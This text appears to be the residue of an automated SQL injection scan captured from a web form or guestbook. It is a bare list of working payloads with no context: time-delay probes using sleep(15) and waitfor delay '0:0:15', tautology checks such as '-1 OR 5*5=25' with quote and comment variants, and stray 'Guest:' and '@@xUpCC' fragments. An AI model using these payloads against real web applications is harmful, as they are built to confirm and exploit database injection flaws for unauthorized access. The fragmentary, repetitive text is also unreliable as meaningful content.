(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1 OR 5*5=25 --

-1 OR 5*5=25

-1' OR 5*5=25 --

Guest:

Guest:
@@xUpCC
-1; waitfor delay '0:0:15' -- 
-1; waitfor delay '0:0:15' --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'zKNxDh7z'='

Guest:

Guest:
@@xUpCC
-1; waitfor delay '0:0:15' -- 
-1); waitfor delay '0:0:15' --

-1" OR 5*5=25 or "jXVJUA5j"="

Guest:

Guest:
@@xUpCC
-1; waitfor delay '0:0:15' -- 
-1 waitfor delay '0:0:15' --